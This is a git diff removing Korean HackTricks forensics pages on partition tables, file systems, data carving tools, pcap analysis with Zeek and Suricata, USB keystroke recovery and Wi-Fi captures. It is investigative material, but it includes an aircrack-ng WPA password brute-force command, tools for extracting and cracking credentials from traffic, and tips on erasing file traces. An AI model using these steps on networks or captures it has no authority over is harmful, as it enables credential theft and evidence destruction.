중에 0으로 설정됨 | -| 20 (0x14) | 4 바이트 | 예약; 0이어야 함 | -| 24 (0x18) | 8 바이트 | 현재 LBA (이 헤더 복사본의 위치) | -| 32 (0x20) | 8 바이트 | 백업 LBA (다른 헤더 복사본의 위치) | -| 40 (0x28) | 8 바이트 | 파티션의 첫 번째 사용 가능한 LBA (기본 파티션 테이블의 마지막 LBA + 1) | -| 48 (0x30) | 8 바이트 | 마지막 사용 가능한 LBA (보조 파티션 테이블의 첫 번째 LBA − 1) | -| 56 (0x38) | 16 바이트 | 혼합 엔디안의 디스크 GUID | -| 72 (0x48) | 8 바이트 | 파티션 항목 배열의 시작 LBA (기본 복사본에서 항상 2개) | -| 80 (0x50) | 4 바이트 | 배열의 파티션 항목 수 | -| 84 (0x54) | 4 바이트 | 단일 파티션 항목의 크기 (일반적으로 80h 또는 128) | -| 88 (0x58) | 4 바이트 | 리틀 엔디안의 파티션 항목 배열의 CRC32 | -| 92 (0x5C) | \* | 예약; 나머지 블록에 대해 0이어야 함 (512바이트의 섹터 크기에 대해 420바이트; 그러나 더 큰 섹터 크기로 더 많을 수 있음) | - -**파티션 항목 (LBA 2–33)** - -| GUID 파티션 항목 형식 | | | -| ---------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| 오프셋 | 길이 | 내용 | -| 0 (0x00) | 16 바이트 | [파티션 유형 GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (혼합 엔디안) | -| 16 (0x10) | 16 바이트 | 고유 파티션 GUID (혼합 엔디안) | -| 32 (0x20) | 8 바이트 | 첫 번째 LBA ([리틀 엔디안](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 바이트 | 마지막 LBA (포함, 일반적으로 홀수) | -| 48 (0x30) | 8 바이트 | 속성 플래그 (예: 비트 60은 읽기 전용을 나타냄) | -| 56 (0x38) | 72 바이트 | 파티션 이름 (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 코드 유닛) | - -**파티션 유형** - -![](<../../../images/image (492).png>) - -더 많은 파티션 유형은 [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)에서 확인할 수 있습니다. - -### 검사 - -[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)로 포렌식 이미지를 마운트한 후, Windows 도구인 [**Active Disk Editor**](https://www.disk-editor.org/index.html)**를 사용하여 첫 번째 섹터를 검사할 수 있습니다.** 다음 이미지에서 **섹터 0**에서 **MBR**이 감지되고 해석되었습니다: - -![](<../../../images/image (494).png>) - -**MBR** 대신 **GPT 테이블**인 경우 **섹터 1**에 서명 _EFI PART_가 나타나야 합니다 (이전 이미지에서는 비어 있습니다). - -## 파일 시스템 - -### Windows 파일 시스템 목록 - -- **FAT12/16**: MSDOS, WIN95/98/NT/200 -- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 -- **ExFAT**: 2008/2012/2016/VISTA/7/8/10 -- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10 -- **ReFS**: 2012/2016 - -### FAT - -**FAT (파일 할당 테이블)** 파일 시스템은 볼륨의 시작에 위치한 파일 할당 테이블을 중심으로 설계되었습니다. 이 시스템은 **두 개의 복사본**을 유지하여 데이터 무결성을 보장합니다. 테이블과 루트 폴더는 **고정 위치**에 있어야 하며, 이는 시스템의 시작 프로세스에 중요합니다. - -파일 시스템의 기본 저장 단위는 **클러스터, 일반적으로 512B**로, 여러 섹터로 구성됩니다. FAT는 다음과 같은 버전으로 발전했습니다: - -- **FAT12**, 12비트 클러스터 주소를 지원하며 최대 4078 클러스터를 처리합니다 (UNIX와 함께 4084). -- **FAT16**, 16비트 주소로 향상되어 최대 65,517 클러스터를 수용합니다. -- **FAT32**, 32비트 주소로 더욱 발전하여 볼륨당 인상적인 268,435,456 클러스터를 허용합니다. - -FAT 버전 전반에 걸쳐 **4GB 최대 파일 크기**라는 중요한 제한이 있으며, 이는 파일 크기 저장에 사용되는 32비트 필드에 의해 부과됩니다. - -특히 FAT12 및 FAT16의 루트 디렉토리의 주요 구성 요소는 다음과 같습니다: - -- **파일/폴더 이름** (최대 8자) -- **속성** -- **생성, 수정 및 마지막 접근 날짜** -- **FAT 테이블 주소** (파일의 시작 클러스터를 나타냄) -- **파일 크기** - -### EXT - -**Ext2**는 **저널링하지 않는** 파티션 (**변경이 많지 않은 파티션**)에 가장 일반적인 파일 시스템입니다. **Ext3/4**는 **저널링**을 지원하며 일반적으로 **나머지 파티션**에 사용됩니다. - -## **메타데이터** - -일부 파일에는 메타데이터가 포함되어 있습니다. 이 정보는 파일의 내용에 대한 것으로, 파일 유형에 따라 분석가에게 흥미로울 수 있는 정보가 포함될 수 있습니다: - -- 제목 -- 사용된 MS Office 버전 -- 저자 -- 생성 및 마지막 수정 날짜 -- 카메라 모델 -- GPS 좌표 -- 이미지 정보 - -[**exiftool**](https://exiftool.org) 및 [**Metadiver**](https://www.easymetadata.com/metadiver-2/)와 같은 도구를 사용하여 파일의 메타데이터를 얻을 수 있습니다. - -## **삭제된 파일 복구** - -### 기록된 삭제된 파일 - -이전에 보았듯이 파일이 "삭제"된 후에도 여러 장소에 여전히 저장되어 있습니다. 이는 일반적으로 파일 시스템에서 파일을 삭제하는 것이 단순히 삭제로 표시할 뿐, 데이터는 손대지 않기 때문입니다. 따라서 파일의 레지스트리(예: MFT)를 검사하고 삭제된 파일을 찾는 것이 가능합니다. - -또한, OS는 파일 시스템 변경 및 백업에 대한 많은 정보를 저장하므로, 이를 사용하여 파일이나 가능한 한 많은 정보를 복구하려고 시도할 수 있습니다. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### **파일 카빙** - -**파일 카빙**은 **대량의 데이터에서 파일을 찾으려는 기술**입니다. 이러한 도구가 작동하는 주요 방법은 **파일 유형 헤더 및 풋터**를 기반으로 하거나, 파일 유형의 **구조**를 기반으로 하거나, **내용** 자체를 기반으로 합니다. - -이 기술은 **조각화된 파일을 검색하는 데는 작동하지 않음을 유의하십시오**. 파일이 **연속 섹터에 저장되지 않으면**, 이 기술은 파일을 찾거나 적어도 일부를 찾을 수 없습니다. - -파일 카빙을 위해 검색할 파일 유형을 지정할 수 있는 여러 도구가 있습니다. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### 데이터 스트림 **C**arving - -데이터 스트림 카빙은 파일 카빙과 유사하지만 **완전한 파일을 찾는 대신, 흥미로운 정보 조각을 찾습니다**.\ -예를 들어, 기록된 URL을 포함하는 완전한 파일을 찾는 대신, 이 기술은 URL을 검색합니다. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### 안전한 삭제 - -물론, 파일 및 해당 로그의 일부를 **"안전하게" 삭제하는 방법이 있습니다**. 예를 들어, 파일의 내용을 여러 번 쓰레기 데이터로 **덮어쓰고**, 그런 다음 파일에 대한 **$MFT** 및 **$LOGFILE**의 **로그를 제거하고**, **볼륨 섀도 복사본**을 제거할 수 있습니다.\ -이 작업을 수행하더라도 **파일의 존재가 여전히 기록된 다른 부분이 있을 수 있으며**, 이는 사실이며 포렌식 전문가의 작업 중 일부는 이를 찾는 것입니다. - -## 참고 문헌 - -- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) -- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) -- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs 인증 디지털 포렌식 Windows** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md deleted file mode 100644 index 999afe2ac..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ /dev/null @@ -1,87 +0,0 @@ -# 파일/데이터 카빙 및 복구 도구 - -{{#include ../../../banners/hacktricks-training.md}} - -## 카빙 및 복구 도구 - -더 많은 도구는 [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)에서 확인할 수 있습니다. - -### Autopsy - -이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 포렌식 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다. - -### Binwalk - -**Binwalk**는 이진 파일을 분석하여 내장된 콘텐츠를 찾는 도구입니다. `apt`를 통해 설치할 수 있으며 소스는 [GitHub](https://github.com/ReFirmLabs/binwalk)에 있습니다. - -**유용한 명령어**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -### Foremost - -또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -### **Scalpel** - -**Scalpel**은 **파일에 포함된 파일**을 찾고 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우, 추출하려는 파일 유형을 구성 파일(_/etc/scalpel/scalpel.conf_)에서 주석을 제거해야 합니다. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -### Bulk Extractor - -이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -이 도구는 이미지를 스캔하고 그 안에서 **pcaps**를 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 것은: -``` -bulk_extractor memory.img -o out_folder -``` -모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/index.html)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인). - -### PhotoRec - -[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)에서 찾을 수 있습니다. - -GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다. - -![](<../../../images/image (524).png>) - -### binvis - -[코드](https://code.google.com/archive/p/binvis/)와 [웹 페이지 도구](https://binvis.io/#/)를 확인하세요. - -#### BinVis의 기능 - -- 시각적이고 능동적인 **구조 뷰어** -- 다양한 초점에 대한 여러 플롯 -- 샘플의 일부에 집중 -- PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기** -- 파일에 대한 암호 분석을 위한 **패턴** 얻기 -- 패커 또는 인코더 알고리즘 **찾기** -- 패턴으로 스테가노그래피 **식별** -- **시각적** 바이너리 차이 비교 - -BinVis는 블랙박스 시나리오에서 알려지지 않은 대상을 익히는 데 훌륭한 **출발점**입니다. - -## 특정 데이터 카빙 도구 - -### FindAES - -키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 128, 192 및 256 비트 키를 찾을 수 있습니다. - -[여기에서 다운로드](https://sourceforge.net/projects/findaes/)하세요. - -## 보조 도구 - -[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\ -리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md deleted file mode 100644 index d06844cbd..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ /dev/null @@ -1,64 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# 카빙 도구 - -## Autopsy - -포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다. - -## Binwalk - -**Binwalk**는 이미지 및 오디오 파일과 같은 이진 파일에서 내장된 파일과 데이터를 검색하는 도구입니다. `apt`로 설치할 수 있지만 [소스](https://github.com/ReFirmLabs/binwalk)는 github에서 찾을 수 있습니다. -**유용한 명령어**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -## Foremost - -또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -## **스칼펠** - -**스칼펠**은 **파일에 포함된 파일**을 찾고 추출하는 데 사용할 수 있는 또 다른 도구입니다. 이 경우 추출하려는 파일 유형을 구성 파일 \(_/etc/scalpel/scalpel.conf_\)에서 주석을 제거해야 합니다. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -## Bulk Extractor - -이 도구는 kali에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -이 도구는 이미지를 스캔하고 **pcaps**를 추출하며, **네트워크 정보(URLs, domains, IPs, MACs, mails)** 및 기타 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은: -```text -bulk_extractor memory.img -o out_folder -``` -모든 정보를 탐색하십시오 \(비밀번호?\), 패킷을 분석하십시오 \(읽기 [ **Pcaps 분석**](../pcap-inspection/index.html)\), 이상한 도메인을 검색하십시오 \( **악성코드** 또는 **존재하지 않는** 도메인과 관련된\). - -## PhotoRec - -[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)에서 찾을 수 있습니다. - -GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다. - -![](../../../images/image%20%28524%29.png) - -# 특정 데이터 카빙 도구 - -## FindAES - -키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 것과 같은 128, 192 및 256 비트 키를 찾을 수 있습니다. - -[여기에서 다운로드](https://sourceforge.net/projects/findaes/)하십시오. - -# 보조 도구 - -[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다. 리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md deleted file mode 100644 index 4fe6666c7..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ /dev/null @@ -1,212 +0,0 @@ -# Pcap Inspection - -{{#include ../../../banners/hacktricks-training.md}} - -> [!NOTE] -> **PCAP**와 **PCAPNG**에 대한 주의: PCAP 파일 형식에는 두 가지 버전이 있습니다; **PCAPNG는 더 최신이며 모든 도구에서 지원되지 않습니다**. 다른 도구에서 작업하기 위해 Wireshark 또는 다른 호환 도구를 사용하여 PCAPNG에서 PCAP로 파일을 변환해야 할 수도 있습니다. - -## pcaps를 위한 온라인 도구 - -- pcap의 헤더가 **손상된** 경우: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)를 사용하여 **수정**해 보십시오. -- [**PacketTotal**](https://packettotal.com)에서 pcap 내의 **정보**를 추출하고 **악성코드**를 검색하십시오. -- [**www.virustotal.com**](https://www.virustotal.com) 및 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)에서 **악의적인 활동**을 검색하십시오. - -## 정보 추출 - -다음 도구는 통계, 파일 등을 추출하는 데 유용합니다. - -### Wireshark - -> [!NOTE] -> **PCAP을 분석하려면 기본적으로 Wireshark를 사용하는 방법을 알아야 합니다.** - -다음에서 Wireshark 팁을 찾을 수 있습니다: - -{{#ref}} -wireshark-tricks.md -{{#endref}} - -### Xplico Framework - -[**Xplico** ](https://github.com/xplico/xplico)_(리눅스 전용)_는 **pcap**을 **분석**하고 그로부터 정보를 추출할 수 있습니다. 예를 들어, pcap 파일에서 Xplico는 각 이메일(POP, IMAP 및 SMTP 프로토콜), 모든 HTTP 콘텐츠, 각 VoIP 통화(SIP), FTP, TFTP 등을 추출합니다. - -**설치** -```bash -sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' -sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE -sudo apt-get update -sudo apt-get install xplico -``` -**실행** -``` -/etc/init.d/apache2 restart -/etc/init.d/xplico start -``` -_**127.0.0.1:9876**_에 _**xplico:xplico**_ 자격 증명으로 접근합니다. - -그런 다음 **새 사례**를 만들고, 사례 내에서 **새 세션**을 생성한 후 **pcap** 파일을 **업로드**합니다. - -### NetworkMiner - -Xplico와 마찬가지로 **pcap에서 객체를 분석하고 추출하는** 도구입니다. 무료 버전이 있으며, [**여기서 다운로드**](https://www.netresec.com/?page=NetworkMiner)할 수 있습니다. **Windows**에서 작동합니다.\ -이 도구는 패킷에서 **분석된 다른 정보를 얻는 데** 유용하여 **더 빠르게** 무슨 일이 일어나고 있는지 알 수 있습니다. - -### NetWitness Investigator - -[**여기서 NetWitness Investigator를 다운로드**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)할 수 있습니다 **(Windows에서 작동합니다)**.\ -이것은 패킷을 **분석하고** 정보를 유용한 방식으로 정리하여 **내부에서 무슨 일이 일어나고 있는지 알 수 있는** 또 다른 유용한 도구입니다. - -### [BruteShark](https://github.com/odedshimon/BruteShark) - -- 사용자 이름 및 비밀번호 추출 및 인코딩 (HTTP, FTP, Telnet, IMAP, SMTP...) -- 인증 해시 추출 및 Hashcat을 사용하여 크랙 (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- 시각적 네트워크 다이어그램 구축 (네트워크 노드 및 사용자) -- DNS 쿼리 추출 -- 모든 TCP 및 UDP 세션 재구성 -- 파일 조각화 - -### Capinfos -``` -capinfos capture.pcap -``` -### Ngrep - -pcap 내에서 **무언가**를 **찾고** 있다면 **ngrep**을 사용할 수 있습니다. 다음은 주요 필터를 사용하는 예입니다: -```bash -ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" -``` -### Carving - -일반적인 카빙 기술을 사용하면 pcap에서 파일과 정보를 추출하는 데 유용할 수 있습니다: - -{{#ref}} -../partitions-file-systems-carving/file-data-carving-recovery-tools.md -{{#endref}} - -### Capturing credentials - -pcap 또는 라이브 인터페이스에서 자격 증명을 구문 분석하기 위해 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용할 수 있습니다. - -## Check Exploits/Malware - -### Suricata - -**Install and setup** -``` -apt-get install suricata -apt-get install oinkmaster -echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf -oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules -``` -**pcap 확인** -``` -suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log -``` -### YaraPcap - -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)는 다음과 같은 도구입니다. - -- PCAP 파일을 읽고 Http 스트림을 추출합니다. -- gzip은 압축된 스트림을 해제합니다. -- 모든 파일을 yara로 스캔합니다. -- report.txt를 작성합니다. -- 선택적으로 일치하는 파일을 디렉토리에 저장합니다. - -### Malware Analysis - -알려진 악성코드의 지문을 찾을 수 있는지 확인하세요: - -{{#ref}} -../malware-analysis.md -{{#endref}} - -## Zeek - -> [Zeek](https://docs.zeek.org/en/master/about.html)은 수동 오픈 소스 네트워크 트래픽 분석기입니다. 많은 운영자들이 Zeek을 네트워크 보안 모니터(NSM)로 사용하여 의심스러운 또는 악의적인 활동에 대한 조사를 지원합니다. Zeek은 보안 도메인을 넘어 성능 측정 및 문제 해결을 포함한 다양한 트래픽 분석 작업을 지원합니다. - -기본적으로 `zeek`에 의해 생성된 로그는 **pcap**이 아닙니다. 따라서 **pcap**에 대한 **정보**가 있는 로그를 분석하기 위해 **다른 도구**를 사용해야 합니다. - -### Connections Info -```bash -#Get info about longest connections (add "grep udp" to see only udp traffic) -#The longest connection might be of malware (constant reverse shell?) -cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10 - -10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445 -10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151 -10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664 - - -#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port. -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - -10.55.100.100 65.52.108.225 443 tcp 86222.4 -10.55.100.107 111.221.29.113 443 tcp 86220.1 -10.55.100.110 40.77.229.82 443 tcp 86160.1 - -#Get the number of connections summed up per each line -cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10 - -10.55.100.100 65.52.108.225 1 86222.4 -10.55.100.107 111.221.29.113 1 86220.1 -10.55.100.110 40.77.229.82 134 86160.1 - -#Check if any IP is connecting to 1.1.1.1 -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c - -#Get number of connections per source IP, dest IP and dest Port -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - - -# RITA -#Something similar can be done with the tool rita -rita show-long-connections -H --limit 10 zeek_logs - -+---------------+----------------+--------------------------+----------------+ -| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION | -+---------------+----------------+--------------------------+----------------+ -| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s | -| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s | -| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s | - -#Get connections info from rita -rita show-beacons zeek_logs | head -n 10 -Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion -1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0 -1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 -0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 -``` -### DNS 정보 -```bash -#Get info about each DNS request performed -cat dns.log | zeek-cut -c id.orig_h query qtype_name answers - -#Get the number of times each domain was requested and get the top 10 -cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10 - -#Get all the IPs -cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c - -#Sort the most common DNS record request (should be A) -cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr - -#See top DNS domain requested with rita -rita show-exploded-dns -H --limit 10 zeek_logs -``` -## 다른 pcap 분석 팁 - -{{#ref}} -dnscat-exfiltration.md -{{#endref}} - -{{#ref}} -wifi-pcap-analysis.md -{{#endref}} - -{{#ref}} -usb-keystrokes.md -{{#endref}} - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md deleted file mode 100644 index c95add967..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ /dev/null @@ -1,14 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -USB 연결의 pcap에 많은 중단이 있는 경우, 아마도 USB 키보드 연결일 것입니다. - -다음과 같은 wireshark 필터가 유용할 수 있습니다: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` - -"02"로 시작하는 데이터는 shift를 사용하여 눌린 것입니다. - -이 분석 방법에 대한 더 많은 정보와 스크립트를 찾으려면 다음을 참조하세요: - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md deleted file mode 100644 index 8c3a8a624..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -USB를 통한 키보드 통신이 포함된 pcap 파일이 있는 경우 다음과 같은: - -![](<../../../images/image (613).png>) - -[**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) 도구를 사용하여 통신에서 작성된 내용을 얻을 수 있습니다: -```bash -tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt -python3 usbkeyboard.py ./keystrokes.txt -``` -더 많은 정보와 이 분석 방법에 대한 스크립트를 보려면 다음을 참조하세요: - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md deleted file mode 100644 index 3b0e91664..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ /dev/null @@ -1,39 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# BSSID 확인 - -WireShark를 사용하여 주된 트래픽이 Wifi인 캡처를 수신하면 _Wireless --> WLAN Traffic_을 통해 캡처의 모든 SSID를 조사할 수 있습니다: - -![](<../../../images/image (424).png>) - -![](<../../../images/image (425).png>) - -## 무차별 대입 - -해당 화면의 열 중 하나는 **pcap 내에서 인증이 발견되었는지 여부**를 나타냅니다. 만약 그렇다면 `aircrack-ng`를 사용하여 무차별 대입을 시도할 수 있습니다: -```bash -aircrack-ng -w pwds-file.txt -b file.pcap -``` -예를 들어, PSK(사전 공유 키)를 보호하는 WPA 비밀번호를 검색하여 나중에 트래픽을 복호화하는 데 필요합니다. - -# 비콘 / 사이드 채널의 데이터 - -**Wifi 네트워크의 비콘 내부에서 데이터가 유출되고 있다고 의심되는 경우** 다음과 같은 필터를 사용하여 네트워크의 비콘을 확인할 수 있습니다: `wlan contains ` 또는 `wlan.ssid == "NAMEofNETWORK"` 필터링된 패킷 내에서 의심스러운 문자열을 검색합니다. - -# Wifi 네트워크에서 알 수 없는 MAC 주소 찾기 - -다음 링크는 **Wifi 네트워크 내에서 데이터를 전송하는 기계**를 찾는 데 유용합니다: - -- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` - -이미 **MAC 주소를 알고 있다면 출력에서 제거할 수 있습니다** 다음과 같은 체크를 추가하여: `&& !(wlan.addr==5c:51:88:31:a0:3b)` - -네트워크 내에서 통신하는 **알 수 없는 MAC** 주소를 감지한 후, 다음과 같은 **필터**를 사용할 수 있습니다: 